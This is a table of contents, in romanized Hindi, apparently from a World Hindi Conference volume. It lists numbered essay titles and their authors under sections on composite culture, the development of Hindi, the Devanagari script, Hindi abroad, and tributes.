2.	hindi sahity mean samasik sanskriti ki sarjanatmak abhivyakti	pro. kesarikumar
3.	hindi sahity aur samasik sanskriti	d aau. chandrakaant baandivadekar
4.	hindi ki samasik evan saanskritik ekata	d aau. jagadish gupt
5.	rajabhasha: karyacharan aur samasik sanskriti	d aau. en.es. dakshinamoorti
6.	hindi ki akhil bharatiyata ka itihas	pro. dineshvar prasad
7.	hindi sahity mean samasik sanskriti	d aau. muanshiram sharma
8.	bharatiy vyaktitv ke sanshlesh ki bhasha	d aau. raghuvansh
9.	desh ki samasik sanskriti ki abhivyakti mean hindi ka yogadan	d aau. rajakishor paandey
10.	saanskritik samanvay ki prakriya aur hindi sahity	shri rajeshvar gangavar
11.	hindi sahity mean samasik sanskriti ke tattv	d aau. shivanandan prasad
12.	hindi:samasik sanskriti ki sanvahika	shri shivasagar mishr
13.	bharat ki samasik sanskririti aur hindi ka vikas	d aau. haradev bahari
hindi ka vikasashil svaroop
14.	hindi ka vikasashil svaroop	d aau. anandaprakash dikshit
15.	hindi ke vikas mean bhojapuri ka yogadan	d aau. udayanarayan tivari
16.	hindi ka vikasashil svaroop (shabdavali ke sandarbh mean)	d aau. kailashachandr bhatiya
17.	manak bhasha ki sankalpana aur hindi	d aau. krishnakumar gosvami
18.	rajabhasha ke roop mean hindi ka vikas, mahattv tatha prakash ki dishaean	shri jayanarayan tivari
19.	saanskritik bhasha ke roop mean hindi ka vikas	d aau. trilochan paandey
20.	hindi ka saralikaran	achary deveandranath sharma
21.	prashasanik hindi ka vikas	d aau. narayanadatt palival
22.	jan ki vikasashil bhasha hindi	shri bhagavat jha azad
23.	bharat ki bhashik ekata: paranpara aur hindi	pro. manik goviand chaturvedi
24.	hindi bhasha aur rashtriy ekikaran	pro. ravindranath shrivastav
25.	hindi ki sanvaidhanik sthiti aur usaka vikasashil svaroop	pro. vijayendr snatak
devanagari lipi ki bhoomika
26.	rashtriy aur aantarrashtriy sandarbh mean devanagari	shri jivan nayak
27.	devanagari	pro. devishankar dvivedi
28.	hindi mean lekhan sanbandhi ekaroopata ki samasya	pro. p. ba. jain
29.	devanagari lipi ki bhoomika	d aau. babooram saksena
30.	devanagari lipi (kashmiri bhasha ke sandarbh mean)	d aau. mohanalal sar
31.	rashtriy aur aantarrashtriy sandarbh mean devanagari lipi	pan. rameshvaradayal dube
videshoan mean hindi
32.	vishv ki hindi patr-patrikaean	d aau. kamata kamalesh
33.	videshoan mean hindi:prachar-prasar aur sthiti ke kuchh pahaloo	pro. premasvaroop gupt
34.	hindi ka ek apanaya-sa kshetr: sanyukt rajy	d aau. ar. es. megregar
35.	hindi bhasha ki bhoomika : vishv ke sandarbh mean	shri rajendr avasthi
36.	marishas ka hindi sahity	d aau. lata
37.	hindi ki bhavi aantarrashtriy bhoomika	d aau. brajeshvar varma
38.	aantarrashtriy sandarbh mean hindi	pro. siddheshvar prasad
39.	nepal mean hindi aur hindi sahity	shri sooryanath gop
vividha
40.	tulanatmak bharatiy sahity evan paddhati vijnan ka prashn	d aau. iandranath chaudhuri
41.	bharat ki bhasha samasya aur hindi	d aau. kumar vimal
42.	bharat ki rajabhasha niti	shri krishnakumar shrivastav
43.	videsh doorasanchar seva	shri ke.si. katiyar
44.	kashmir mean hindi : sthiti aur sanbhavanaean	pro. chamanalal saproo
45.	bharat ki rajabhasha niti aur usaka karyanvayan	shri deveandracharan mishr
46.	bhashayi samasya : ek rashtriy samadhan	shri narmadeshvar chaturvedi
47.	sanskrit-hindi kavyashastr mean upama ki sarvalankarabijata ka vichar	d aau. mahendr madhukar
48.	dvitiy vishv hindi sammelan : nirnay aur kriyanvayan	shri rajamani tivari
49.	vishv ki pramukh bhashaoan mean hindi ka sthan	d aau. ramajilal jaangid
50.	bharatiy adivasiyoan ki matribhasha tatha hindi se inaka samipy	d aau. lakshmanaprasad sinha
51.	maian lekhak nahian hooan	shri vimal mitr
52.	lokajnata sarvajnata (lokavartta vijnan ke sandarbh mean)	d aau. haradvarilal sharma
53.	desh ki ekata ka mool: hamari rashtrabhasha	shri kshemachand ‘suman’
videshi sandarbh
54.	marishas: sagar ke par laghu bharat	shri es. bhuvaneshvar
55.	amarika mean hindi -d aau. kerin shomar
56.	lipaziang vishvavidyalay mean hindi	d aau. (shrimati) marget gatslaf
57.	jarmani sanghiy ganarajy mean hindi	d aau. lothar lutse
58.	soorinam desh aur hindi	shri sooryaprasad bire
59.	hindi ka aantarrashtriy pariprekshy	shri bachchooprasad sianh
svaichchhik sanstha sandarbh
60.	hindi ki svaichchhik sansthaean	shri shankararav loandhe
61.	rashtriy prachar samiti, vardha	shri shankararav loandhe
sammelan sandarbh
62.	pratham aur dvitiy vishv hindi sammelan: uddeshy evan upalabdhiyaan	shri madhukararav chaudhari
smriti-shraddhaanjali
63.	svargiy bharatiy sahityakaroan ko smriti-shraddhaanjali	d aau. prabhakar machave